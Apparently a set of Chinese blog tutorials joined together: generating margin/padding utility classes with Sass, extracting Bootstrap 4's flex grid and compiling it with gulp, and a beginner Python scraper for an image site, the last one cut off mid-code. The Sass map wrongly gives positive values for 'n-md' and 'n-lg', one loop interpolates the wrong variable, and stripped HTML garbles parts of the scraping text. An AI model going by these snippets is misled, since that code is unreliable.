0%

HTML

需求分析

有需求才有动力! 写CSS的时候,你经常会遇到要设置一个小边距,比如设置: 所有内边距10px,外左边距20px,内右边距0,上下内边距50px,外左右边距自动…. 而你是不是又不想自己单独为它们定义一个class,然后把padding, margin之类的写进去? 举例如下: 现在我有两个p标签,我想让这两个p标签中间相隔10px,那是不是需要?

1
2
<p style="margin-bottom:10px">Hello</p>
<p>World</p>

又或者

1
2
3
4
5
6
<p class="m">Hello</p>
<p>World</p>

.m {
margin-bottom: 10px;
}

类似这样的情况多了去了,每次都要定个样式就为了解决个边距问题? 能忍吗?能忍吗?反正我是不能忍。改改改,燥起来!

协议规定

那么为了解决这么一个问题,我们首先要想好解决标准。

边距层级

首先边距问题,我们首先要定义这么几个层级: 极小、很小、小、正常、中等、大、很大、极大。 对应的边距划分为: 2px、5px、10px、15px、20px、30px、40px、50px。 那么代号就标记为: xxs、xs、sm、‘空’、md、lg、xl、xxl。 另外我们还有其他的样式,比如自动auto、初始化initial、继承inherit、无边距none。 那么代号标记为auto、ii、ih、none。 这样的划分基本可以满足需求。

简称划分

然后定义几个简称: 我们用到的单词有内边距、外边距、上下左右等,那么定义如下: padding->p、margin->m、right->r、left->l、top->t、bottom->b、horizontal->h、vertical->v。 其中horizontal和vertical指代水平方向和垂直方向,也就是同时设置左右或者同时设置上下。 当然不能忽略了反向边距,比如外边距是负10px,这个也需要用一个简称,我们定义为n,是反向的意思。 如此一来,所有的简称和边距就规定好了。

实例说明

通过上面的层级关系和简称划分,我们可以对他们进行自由组合,形成一个个class样式。比如: .p-t-xs 即为上内边距是5px,.p-h-md 即为左右内边距是20px,.p-b-n-lg 即为下内边距是-30px, .p-r-xxl 即为右内边距是50px,.p-t 即为上内边距为正常边距15px(正常边距省略即可),.p-n 即为内边距是-15px。 .p-v-n 即为上下内边距是-15px,.m-h-auto 即为水平左右外边距是自动auto, .m-t-ii 即为上外边距是初始化initial。 .m-r-none 即为右外边距是0。 怎样?通过这样的定义,能不能找出规律?即 第一个字母p或者m,代表padding或者margin。 第二个字母代表方向,t上方、b下方、l左方、r右方、v上方和下方、h左方和右方。 第三个(组)字母代表距离,xs是+2px,n-lg是-30px,空是自动边距15px,n是反向正常值-15px,ii是初始化,none是无,auto是自动边距。 怎样?有了这些定义,我们是不是就能非常方便地设置边距样式了?刚才的边距怎样解决?很简单,只需要

1
2
<p class="m-b-sm">Hello</p>
<p>World</p>

如果一个网页里有很多样式,那只需要把整个样式文件引入,自由地添加class就好了。

编写Sass

这么多组合呢?写CSS不累死了?检查也不好检查。 怎么办?上Sass! 首先我们先定义一层映射,边距映射:

1
2
$map: (none: 0, auto: auto, ii: initial, ih: inherit, xxs: 2px, xs: 5px, sm: 10px, '': 15px, md: 20px, lg: 30px, xl: 40px, xxl: 50px,
n-xxs: -2px, n-xs: -5px, n-sm: -10px, n: -15px, n-md: 20px, n-lg: 30px, n-xl: -40px, n-xxl: -50px);

这里定义了所有的边距和它的简称。 然后我们尝试写一下padding的函数,遍历一下:

1
2
3
4
5
@each $style, $padding in $map {
.p-#{$style} {
padding: $padding !important;
}
}

这,那空的咋办? 不能留个下划线啊。判断一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@function line($style) {
@if $style != '' {
@return '-';
} @else {
@return '';
}
}

@each $style, $padding in $map {
$line: line($style);
.p#{line}#{$style} {
padding: $padding !important;
}
}

这样我们就生成了所有padding边距的设置。 好接下来设置下水平和垂直边距吧,这个就需要两句话了,比如设置水平你得写padding-left 和 padding-right。 有的小伙伴说了,可以直接写一个啊,比如 padding: 0 20px 就可以,不过这样你同时设置了上下边距。即便上下边距我们设置成inherit或者什么其他的,那也多多少少在某种情况下产生影响。 所以这里我们直接分开,而且就算不分开,你之前的映射就要修改,还是麻烦的。 所以这里定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@each $style, $padding in $map {
$line: line($style);
.p-v#{$line}#{$style} {
padding-top: $padding !important;
padding-bottom: $padding !important;
}
}

@each $style, $padding in $map {
$line: line($style);
.p-h#{$line}#{$style} {
padding-left: $padding !important;
padding-right: $padding !important;
}
}

那最后,单边距的定义如下,我们给它加个循环:

1
2
3
4
5
6
7
8
9
$directions: (t: top, b: bottom, l: left, r:right);
@each $d-key, $d-value in $directions {
@each $style, $padding in $map {
$line: line($style);
.p-#{$d-key}#{$line}#{$style} {
padding-#{$d-value}: $padding !important;
}
}
}

如此一来,padding的就写好了! 那么margin的怎么办?很简单,再加一层循环,最终代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
@function line($style) {
@if $style != '' {
@return '-';
} @else {
@return '';
}
}

$map: (none: 0, auto: auto, ii: initial, ih: inherit, xxs: 2px, xs: 5px, sm: 10px, '': 15px, md: 20px, lg: 30px, xl: 40px, xxl: 50px,
n-xxs: -2px, n-xs: -5px, n-sm: -10px, n: -15px, n-md: 20px, n-lg: 30px, n-xl: -40px, n-xxl: -50px);

$names: (m: margin, p: padding);
@each $n-key, $n-value in $names {
@each $style, $padding in $map {
$line: line($style);
.#{$n-key}#{$line}#{$style} {
#{$n-value}: $padding !important;
}
}

@each $style, $padding in $map {
$line: line($style);
.#{$n-key}-v#{$line}#{$style} {
#{$n-value}-top: $padding !important;
#{$n-value}-bottom: $padding !important;
}
}

@each $style, $padding in $map {
$line: line($style);
.#{$n-key}-h#{$line}#{$style} {
#{$n-value}-left: $padding !important;
#{$n-value}-right: $padding !important;
}
}

$directions: (t: top, b: bottom, l: left, r:right);
@each $d-key, $d-value in $directions {
@each $style, $padding in $map {
$line: line($style);
.#{$n-key}-#{$d-key}#{$line}#{$style} {
#{$n-value}-#{$d-value}: $padding !important;
}
}
}
}

如此一来,Sass便成功生成了。

编译

写完了那自然要编译一下咯,废话不多说上gulp。

1
2
3
4
5
6
7
8
9
10
11
12
13
gulp.task('styles', () => {
return gulp.src(path.sass)
.pipe(plumber())
.pipe(sourcemaps.init())
.pipe(sass({outputStyle: 'compressed'}).on('error', sass.logError))
.pipe(sourcemaps.write())
.pipe(autoprefixer({
browsers: ['last 2 versions'],
cascade: true,
remove: true
}))
.pipe(gulp.dest(path.dest.css));
});

或者你们有考拉编译器啊或者其他的都行,能编译就好。 生成的部分结果展示如下:

1
.m-none{margin:0 !important}.m-auto{margin:auto !important}.m-ii{margin:initial !important}.m-ih{margin:inherit !important}.m-xxs{margin:2px !important}.m-xs{margin:5px !important}.m-sm{margin:10px !important}.m{margin:15px !important}.m-md{margin:20px !important}.m-lg{margin:30px !important}.m-xl{margin:40px !important}.m-xxl{margin:50px !important}.m-n-xxs{margin:-2px !important}.m-n-xs{margin:-5px !important}.m-n-sm{margin:-10px !important}.m-n{margin:-15px !important}.m-n-md{margin:20px !important}.m-n-lg{margin:30px !important}.m-n-xl{margin:-40px !important}.m-n-xxl{margin:-50px !important}.m-v-none{margin-top:0 !important;margin-bottom:0 !important}.m-v-auto{margin-top:auto !important;margin-bottom:auto !important}.m-v-ii{margin-top:initial !important;margin-bottom:initial !important}.m-v-ih{margin-top:inherit !important;margin-bottom:inherit !important}.m-v-xxs{margin-top:2px !important;margin-bottom:2px !important}.m-v-xs{margin-top:5px !important;margin-bottom:5px !important}.m-v-sm{margin-top:10px !important;margin-bottom:10px !important}.m-v{margin-top:15px !important;margin-bottom:15px !important}.m-v-md{margin-top:20px !important;margin-bottom:20px !important}.m-v-lg{margin-top:30px !important;margin-bottom:30px !important}.m-v-xl{margin-top:40px !important;margin-bottom:40px !important}

具体的结果等你自己编译一下看看就好啦。

资源下载

当然有的小伙伴一定嫌麻烦,别急,我这都给你准备好了,编译好的结果放送给大家! pm.css pm.min.css 需要使用的小伙伴们直接在HTML代码中引入就好啦!

1
2
<link rel="stylesheet" href="http://res.cuiqingcai.com/css/pm.css">
<link rel="stylesheet" href="http://res.cuiqingcai.com/css/pm.min.css">

本文介绍了使用Sass自定义边距样式的流程,希望对大家有帮助!

HTML

前言

首先 Flexbox 是什么?它是 Bootstrap4 新出的一个布局格式,对移动端开发非常方便。 说一下我为什么要提取 Flexbox。有需求才有动力,首先是需求,最近在开发一个移动端适配的网站,使用了 materi-ui 框架,基于 React。使用 materi-ui 时,已经内置了许多样式,但是 bootstrap 的一些多余样式会影响一些现有样式,而那些样式对我又没啥用。另外 Flex 对于移动端布局开发非常适合,这次正好也拿来练练手。 移动端开发是趋势,随着移动端的发展,BootStrap 也出了新版本 4,不过现在还是 alpha 版本,还没正式推出。 其中一个比较大的改进便是 Flexbox Grid 系统。 BootStrap 原本最常用的布局栅格化系统在做响应式开发的时候比较方便,但是只针对于移动端开发的时候并没有多大用处了,流行的 Flex 布局应用越来越广泛。 在 Founation 中,看到过有了这种 Flex 布局,它就是适应手机开发的框架。后来 Bootstrap4 也增加了这块。 那么 Flexbox Grid 系统相比之前什么改进呢?请看官方文档实例。 Flexbox Grid P.S 别去上什么中文网,全是错误,实例结果有问题。不想吐槽,一开始我还以为是 Flexbox Grid 设计不科学。

准备工作

首先下载 BootStrap V4。 Bootstrap V4 目前最新版还是 alpha 版本,如链接失效,请移步官网。 BootStrap 然后你需要安装了 node,gulp,自行下载即可。 gulp

开始抽取

下载之后打开 Bootstrap 源代码文件夹,找到 scss 目录,可以看到如下的结构。 QQ20161029-0@2x mixins 是一些可调用的组件,本身编译不会产生任何结果。utilities 是一些公用的包,比如我们要抽取的 Flex 就在这里面。 外面的这么多是一些公用的基本组件。 通过官方文档可以发现:

If you’re familiar with modifying variables in Sass—or any other CSS preprocessor—you’ll be right at home to move into flexbox mode.

  1. Open the _variables.scss file and find the $enable-flex variable.
  2. Change it from false to true.
  3. Recompile, and done!

Alternatively, if you don’t need the source Sass files, you may swap the default Bootstrap compiled CSS with the compiled flexbox variation. Head to the download page for more information.

如果我们想要添加 Flex 组件,还需要将这个变量更改,即将$enable-flex 改成 true 才可以,默认是 false。 在源代码中我们可以发现已经有了一个 bootstrap-flex.scss 的文件,然而这里面发现直接引入了 bootstrap 的所有代码,这并不是我们想要的,它可能会复写一些基本样式,会影响我们的工程。我们想要的是单独把 Flex 部分抽离出来。 所以我们自己新建一个 bootstrap-flex.scss 的空文件。 首先将变量改为 true

1
$enable-flex: true;

然后阅读源码可以发现有两个公用的 scss 文件是必须引入的。 variables 和 breakpoints,我们先将他们引入。

1
2
@import "variables";
@import "breakpoints";

然后观察带有 flex 的代码,只发现了在 utilities 文件夹中有相关内容,跑不了了,那就是它,复制到同一路径,引入一下。

1
@import "flex";

不过发现这个文件里的样式颇少,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// Flex variation
//
// Custom styles for additional flex alignment options.

@if $enable-flex {
@each $breakpoint in map-keys($grid-breakpoints) {
// Flex column reordering
@include media-breakpoint-up($breakpoint) {
.flex-#{$breakpoint}-first { order: -1; }
.flex-#{$breakpoint}-last { order: 1; }
.flex-#{$breakpoint}-unordered { order: 0; }
}

// Alignment for every item
@include media-breakpoint-up($breakpoint) {
.flex-items-#{$breakpoint}-top { align-items: flex-start; }
.flex-items-#{$breakpoint}-middle { align-items: center; }
.flex-items-#{$breakpoint}-bottom { align-items: flex-end; }
}

// Alignment per item
@include media-breakpoint-up($breakpoint) {
.flex-#{$breakpoint}-top { align-self: flex-start; }
.flex-#{$breakpoint}-middle { align-self: center; }
.flex-#{$breakpoint}-bottom { align-self: flex-end; }
}

// Horizontal alignment of item
@include media-breakpoint-up($breakpoint) {
.flex-items-#{$breakpoint}-left { justify-content: flex-start; }
.flex-items-#{$breakpoint}-center { justify-content: center; }
.flex-items-#{$breakpoint}-right { justify-content: flex-end; }
.flex-items-#{$breakpoint}-around { justify-content: space-around; }
.flex-items-#{$breakpoint}-between { justify-content: space-between; }
}
}
}

这才多点啊?看官方实例明明用到了 row,col 这些样式好不好。再看看。 于是乎发现这些实际上也是依赖于原始的 grid 样式的。我们必须也要把它引入进来。 找找,发现了三个相关文件,拷贝过来,引入。

1
2
3
@import "mixins/grid";
@import "mixins/grid-framework";
@import "grid";

嗯,这下应该全了。 结构如下所示 QQ20161029-1@2x

编译代码

官方用的是 grunt 自动化工具,然而我用着并不习惯。在这里我们用到 gulp 来编译。 首先 npm init 初始化一个 package.json 引入一些包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
"devDependencies": {
"babel-core": "^6.3.26",
"babel-preset-es2015": "^6.16.0",
"babel-register": "^6.18.0",
"del": "^2.2.2",
"gulp": "^3.9.1",
"gulp-autoprefixer": "^3.1.1",
"gulp-babel": "^6.1.2",
"gulp-plumber": "^1.1.0",
"gulp-postcss": "^6.2.0",
"gulp-sass": "^2.3.2",
"gulp-sourcemaps": "^2.2.0",
"postcss-scss": "^0.3.1"
}

整体的结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
"name": "bootstrap-flex",
"version": "1.0.0",
"description": "BootStrap Flex",
"main": "gulpfile.babel.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "Germey",
"license": "MIT",
"devDependencies": {
"babel-core": "^6.3.26",
"babel-preset-es2015": "^6.16.0",
"babel-register": "^6.18.0",
"del": "^2.2.2",
"gulp": "^3.9.1",
"gulp-autoprefixer": "^3.1.1",
"gulp-babel": "^6.1.2",
"gulp-plumber": "^1.1.0",
"gulp-postcss": "^6.2.0",
"gulp-sass": "^2.3.2",
"gulp-sourcemaps": "^2.2.0",
"postcss-scss": "^0.3.1"
}
}

执行

1
npm install

安装一下 node_modules。 然后生成一个.babelrc 文件,因为我们要用 es2015 的语法,内容。

1
2
3
4
5
{
"presets": [
"es2015"
]
}

然后写一下 gulpfile.babel.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import gulp       from 'gulp';
import plumber from 'gulp-plumber';
import sass from 'gulp-sass';
import sourcemaps from 'gulp-sourcemaps';
import del from 'del';
import autoprefixer from 'gulp-autoprefixer';
const source = ['sass/**/*.scss'];
const dest = 'dist/css/';

gulp.task('sass', () => {
return gulp.src(source)
.pipe(plumber())
.pipe(sourcemaps.init())
.pipe(sass({outputStyle: 'compressed'}).on('error', sass.logError))
.pipe(sourcemaps.write())
.pipe(autoprefixer({
browsers: ['last 2 versions'],
cascade: true,
remove: true
}))
.pipe(gulp.dest(dest));
});

gulp.task('clean', del.bind(null, ['dist']));

gulp.task('build', ['sass', 'watch'])

gulp.task('watch', () => {
gulp.watch(source, ['sass']);
});

gulp.task('default', ['clean'], () => {
gulp.start('build');
});

比较简单,用到的有 sass, sourcemaps, autoprefixer 这几个比较常用的包。 执行

1
gulp

观察下结果。

1
2
3
4
5
6
7
8
9
10
11
12
[18:46:38] Requiring external module babel-register
[18:46:38] Using gulpfile /private/var/www/flex/gulpfile.babel.js
[18:46:38] Starting 'clean'...
[18:46:38] Finished 'clean' after 8.12 ms
[18:46:38] Starting 'default'...
[18:46:38] Starting 'sass'...
[18:46:38] Starting 'watch'...
[18:46:38] Finished 'watch' after 9.63 ms
[18:46:38] Finished 'default' after 25 ms
[18:46:39] Finished 'sass' after 312 ms
[18:46:39] Starting 'build'...
[18:46:39] Finished 'build' after 2.41 μs

恩,没什么问题。可以看到 dist 文件夹下生成了一个文件叫做 bootstrap-flex.css。

测试用例

恩接下来我们来测试一下官方实例是否正常。 新建一个 index.html 内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<link rel="stylesheet" href="dist/css/bootstrap-flex.css">
</head>
<body>
<div class="container">
<div class="row">
<div class="col-xs">
1 of 2
</div>
<div class="col-xs">
1 of 2
</div>
</div>
<div class="row">
<div class="col-xs">
1 of 3
</div>
<div class="col-xs">
1 of 3
</div>
<div class="col-xs">
1 of 3
</div>
</div>

</div>
<div class="container">
<div class="row">
<div class="col-xs">
1 of 3
</div>
<div class="col-xs-6">
2 of 3 (wider)
</div>
<div class="col-xs">
3 of 3
</div>
</div>
<div class="row">
<div class="col-xs">
1 of 3
</div>
<div class="col-xs-5">
2 of 3 (wider)
</div>
<div class="col-xs">
3 of 3
</div>
</div>
</div>
<div class="container">
<div class="row">
<div class="col-xs">
1 of 3
</div>
<div class="col-xs-6">
2 of 3 (wider)
</div>
<div class="col-xs">
3 of 3
</div>
</div>
<div class="row">
<div class="col-xs">
1 of 3
</div>
<div class="col-xs-5">
2 of 3 (wider)
</div>
<div class="col-xs">
3 of 3
</div>
</div>
</div>
<div class="container">
<div class="row flex-items-xs-top">
<div class="col-xs">
One of three columns
</div>
<div class="col-xs">
One of three columns
</div>
<div class="col-xs">
One of three columns
</div>
</div>
<div class="row flex-items-xs-middle">
<div class="col-xs">
One of three columns
</div>
<div class="col-xs">
One of three columns
</div>
<div class="col-xs">
One of three columns
</div>
</div>
<div class="row flex-items-xs-bottom">
<div class="col-xs">
One of three columns
</div>
<div class="col-xs">
One of three columns
</div>
<div class="col-xs">
One of three columns
</div>
</div>
</div>
<div class="container">
<div class="row flex-items-xs-left">
<div class="col-xs-4">
One of two columns
</div>
<div class="col-xs-4">
One of two columns
</div>
</div>
<div class="row flex-items-xs-center">
<div class="col-xs-4">
One of two columns
</div>
<div class="col-xs-4">
One of two columns
</div>
</div>
<div class="row flex-items-xs-right">
<div class="col-xs-4">
One of two columns
</div>
<div class="col-xs-4">
One of two columns
</div>
</div>
<div class="row flex-items-xs-around">
<div class="col-xs-4">
One of two columns
</div>
<div class="col-xs-4">
One of two columns
</div>
</div>
<div class="row flex-items-xs-between">
<div class="col-xs-4">
One of two columns
</div>
<div class="col-xs-4">
One of two columns
</div>
</div>
</div>
<div class="container">
<div class="row">
<div class="col-xs flex-xs-unordered">
First, but unordered
</div>
<div class="col-xs flex-xs-last">
Second, but last
</div>
<div class="col-xs flex-xs-first">
Third, but first
</div>
</div>
</div>
<style>
.row {
margin-top: 1rem;
}
.row > [class^="col-"] {
padding-top: .75rem;
padding-bottom: .75rem;
background-color: rgba(86, 61, 124, 0.15);
border: 1px solid rgba(86, 61, 124, 0.2);
}
.flex-items-xs-top, .flex-items-xs-middle,.flex-items-xs-bottom {
min-height: 6rem;
background-color: rgba(255, 0, 0, 0.1);
}
</style>

</body>
</html>

我把官方实例拿过来测试一下。 结果如下所示 QQ20161029-0 恩,完美! 至于这个布局的用法,那就去官方文档领悟吧,和之前的 bootstrap 栅格化布局有比较大的不同。 不过如果你看了实例之后,就会豁然开朗了。

代码

本用例代码已上传到 GitHub。 代码实例 有兴趣的小伙伴可以下载测试。

结语

本文讲解了利用抽取 Bootstrap V4 中的 Flex 布局方式以及用 gulp 重新编译 Bootstrap 的过程,希望对大家有帮助。

Python

2018 年 12 月 11 日 入口页面多了一个连接 早期图片 更新了处理过后的代码(删掉了早期图片的 URL,大家可以自己尝试下载这个页面下的所有套图) 2017 年 8 月 30 日:mzitu.com 更新了防盗链导致下载图片全部失效,已更新处理办法: scrapy 版本也已更新 2017 年 4 月 24 日:用 scrapy 重写了一个 mzitu 的全站爬虫: 小白进阶之 Scrapy 第四篇(图片下载管道篇) 2017 年 3 月 31 号 更新 http://www.mzitu.com/all 这个地址已经被站长屏蔽了。下面的代码没法使了哦!仅提供学习方法。 PS:更改了一个新手比较难理解的坑(切换目录的问题),大陆之外的小伙伴儿 需要翻墙,mzitu.com 对大陆之外好像不可访问。倒数第四个代码块儿是 没有函数的脚本写法,看函数有困难的小伙伴儿,可以先看看这个。 这是一篇完全给新手写的爬虫教程、也是我第一次写博文···也不知道怎么写(我也是个菜鸟啊!各路大神拍砖轻点儿啊!)QQ图片20161021223818由于经常在群里装逼加上群主懒啊(你看有多久没更新文章就知道了),让我来一篇爬虫的教程。QQ图片20161021224219如此装逼机会怎么能错过,今天我来给大家来一篇基础爬虫教程。 你要问目标是啥? 要知道 XX 才是学习最大的动力啊!所以目标就是 mzitu.com , QQ图片20161021224731(废话真多还不开始) , 下面请各位跟我的教程一步一步走,喂!!说的就是你啊!别看着了,照着教程做啊!9555112 1、基础环境部分: 工欲其事必先利器,要想把心爱的妹子搬进你的给她准备的房子,总得有几把斧子才行啊!下面这就是几把斧子! 1.1:Python 基础运行环境:本篇教程采用 Python3 来写,所以你需要给你的电脑装上 Python3 才行,我就说说 Windows 的环境(会玩 Linux 的各位应该不需要我多此一举了)。 anaconda (点我下载)(这是一个 Python 的科学计算发行版本,作者打包好多好多的包, QQ图片20161021230903不知道干啥的没关系,你只需要知道拥有它之后,那些 Windows 下 pip 安装包报错的问题将不复存在) 下载不顺利的同学我已经传到百度云了:http://pan.baidu.com/s/1boAYaTL 1.2:Requests urllib 的升级版本打包了全部功能并简化了使用方法(点我查看官方文档1.3: beautifulsoup 是一个可以从 HTML 或 XML 文件中提取数据的 Python 库.它能够通过你喜欢的转换器实现惯用的文档导航,查找,修改文档的方式.(点我查看官方文档)(QQ图片20161022193315作为一个菜鸟就别去装逼用 正则表达式了,匹配不到想要的内容,容易打击积极性。老老实实的用beautifulsoup 吧!虽然性能差了点、但是你会爱上它的。) 1.4:LXML 一个 HTML 解析包 用于辅助 beautifulsoup 解析网页(如果你不用 anaconda,你会发现这个包在 Windows 下 pip 安装报错,QQ图片20161021230903用了就不会啦。)。 上面的模块需要 单独安装,下面几个就不用啦。 1.5: OS 系统内置模块 下面是IDE 你喜欢用什么就用什么啦! 1.6: PyCharm 一个草鸡好用的 PythonIDE 工具 、真滴!草鸡好用··(我是下载地址)试用三十天 足够完成这个小爬虫啦。(如果你电脑已经存在 Python 环境 又需要使用 anaconda 的话,请按照下面的图设置一下哦!) QQ图片20161022200505 好啦、下面开始安装需要的模块。 因为我安装的是anaconda这个科学计算的发行版,安装方式是酱紫滴:conda install 包名(当然 pip install 包名也是可以的哦!)

1
2
3
4
5
6
7
conda install requests
conda install beautifulsoup4
conda install lxml
或者
pip install requests
pip install beautifulsoup4
pip install lxml

QQ图片20161022200031 大概界面就是上面的样子了。其余类似安装即可,好啦 下面开始正题了 首先我们打开 PyCharm 新建一个 Python 文件,写入以下代码(喂喂!不要复制哦 自己敲一遍 印象更佳啦。)

1
2
3
import requests ##导入requests
from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
import os

好啦!准备工作完了、 我们来开始让妹子到碗里来吧ヽ(●-`Д´-)ノ 一个简单爬虫的诞生大慨需要下面几个步骤。(我知道图很简陋、请务必不要吐槽) QQ20161029-1

  • 爬虫入口:顾名思义我需要程序从什么地方开始获取网页
  • 存储数据:如果获取的网页有你需要的内容则取出数据保存
  • 找到资料所在的地址:如果你你获取到的网页没有你需要的数据、但是有前往该数据页面的地址 URL、则获取这个地址 URL,再获取该 URL 的页面内容(也就等于当作爬虫入口了)

好啦!图很简陋、将就着看看,现在来开始看看网页找一个爬虫入口(开始爬取的页面) QQ截图20161023150410 良心站长啊!居然有一个页面有整站所有的数据地址是http://www.mzitu.com/all 我们就以这个页面开始爬取(PS:真良心站长) 下面是我们的第一段代码:用作获取http://www.mzitu.com/all这个页面。

1
2
3
4
5
6
7
8
import requests ##导入requests
from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
import os

headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
all_url = 'http://www.mzitu.com/all' ##开始的URL地址
start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
print(start_html.text) ##打印出start_html (请注意,concent是二进制的数据,一般用于下载图片、视频、音频、等多媒体内容是才使用concent, 对于打印网页内容请使用text)

PS: 如果对 requests.get(all_url, headers=headers)感到不解的各位,请务必去再看一遍官方文档哦(解释得很清楚呢) 你在你的 IDE 中运行的时候会打印出下面的内容: QQ截图20161024203912 第一段部分完成啦!!是不感觉超简单!!!!看懂没?没看懂继续瞅瞅、对于看懂的各位小哥儿(妹儿)我只想说··· 小哥儿(妹儿)!你老牛逼了!! 没看懂?报错?没关系!看见屏幕右边那个群号没?加它!热心的群友会为你耐心解答滴············ 好啦!第一部分获取网页的部分完成啦!我们来开始第二部分提取我们想要的内容吧!! 在 Chrome 中打开我们第一部分请求的网址:http://www.mzitu.com/all 、 按下 F12 调出 Chrome 的开发者调试工具(不熟练的同学一定要去了解一下哦!爬虫中绝大部分工作要靠这个来完成呢!是必备技能哦!) 是这样: QQ截图20161024205256 看见图中那句话没?没看见?仔细看看那可是我们必须要使用的工具哦!!好啦下面我们看看使用方法 QQ图片20161025222942 好啦、我们就是通过这种方法来找到我们需要的数据在那一个标签里面的、方便后面提取出来啦!(实例很简陋 看不懂的童鞋百度一下啦!教程很多的) 你会发现这个页面并没有我们需要的图片地址啊!没有那么怎么办呢?上面那张超级简陋的流程图看了嘛?没看?赶快去瞅瞅·· 你就知道我们该干啥啦! 嗯,我们需要找到图片地址所在的页面! QQ截图20161025224053 观察一下网页你会发现图片页面的地址全部都在

  • ...
  • 标签中、(讲真!这么良心,还这么有规律的网页不多了啊!)不信啊?你展开
  • 标签瞅瞅就知道啦 QQ截图20161025224601 点开
  • 标签你会发现图片页面的地址标签的 href 属性中、主题标签中(搞不清楚的这两个的区别的同学、去了解一下 html 的基础啦!) 实现逻辑就是:先找到页面中的全部
  • 标签、然后提取出中间标签的 href 属性值与标签的类容,前者我们用来继续请求 html 看看会不会有我们需要的图片下载地址,后者我们存储的时候给文件夹命名使用。 可能有小哥儿(妹儿)会问,为什么不直接查找标签? 你观察一下网页就知道呐!还有其他地方使用了标签,如果直接查找标签就会多出很多我们不需要的东西,也不方便我们提取想要的东西,先查找
  • 标签就是限制一下标签的范围啦! 通过上面的方法、知道了需要的数据的位置!该我们的beautifulsoup来大展身手啦!!!加上上面的一段代码现在应该是这样的啦!看不懂?没关系 看注释 看注释。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    import requests ##导入requests
    from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
    import os



    headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
    all_url = 'http://www.mzitu.com/all' ##开始的URL地址
    start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
    #print(start_html.text) ##打印出start_html (请注意,concent是二进制的数据,一般用于下载图片、视频、音频、等多媒体内容是才使用concent, 对于打印网页内容请使用text)
    Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页(‘lxml’是指定的解析器 具体请参考官方文档哦)
    li_list = Soup.find_all('li') ##使用BeautifulSoup解析网页过后就可以用找标签呐!(find_all是查找指定网页内的所有标签的意思,find_all返回的是一个列表。)
    for li in li_list: ##这个不解释了。看不懂的小哥儿回去瞅瞅基础教程
    print(li) ##同上

    运行一下试试! QQ截图20161028113340 诶!!!不对啊!!抓到了我们不需要的东西啊!!!这可怎么办啊!! 别急 别急!我们再去看看网页的 F12 瞅瞅。 QQ截图20161028113957 找到啦!原来有其他地方有

  • 标签、观察不仔细啦!现在我们怎么办? 我们再去 F12 瞅瞅! QQ截图20161028114348 哈哈!这就简单了,我们推翻上面的思路 现在我们先找到
  • 标签呢!! 你仔细瞅瞅网页!在
    这个模块里面的
    标签的全是我们需要的东西,就不需要
  • 标签来限制提取范围啦!所以就直接扔掉了不用了。也方便写代码啊。 现在我们改改上面的代码!

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    import requests ##导入requests
    from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
    import os

    headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
    all_url = 'http://www.mzitu.com/all' ##开始的URL地址
    start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
    #print(start_html.text) ##打印出start_html (请注意,concent是二进制的数据,一般用于下载图片、视频、音频、等多媒体内容是才使用concent, 对于打印网页内容请使用text)
    Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页(‘lxml’是指定的解析器 具体请参考官方文档哦)
    #li_list = Soup.find_all('li') ##使用BeautifulSoup解析网页过后就可以用找标签呐!(find_all是查找指定网页内的所有标签的意思,find_all返回的是一个列表。)
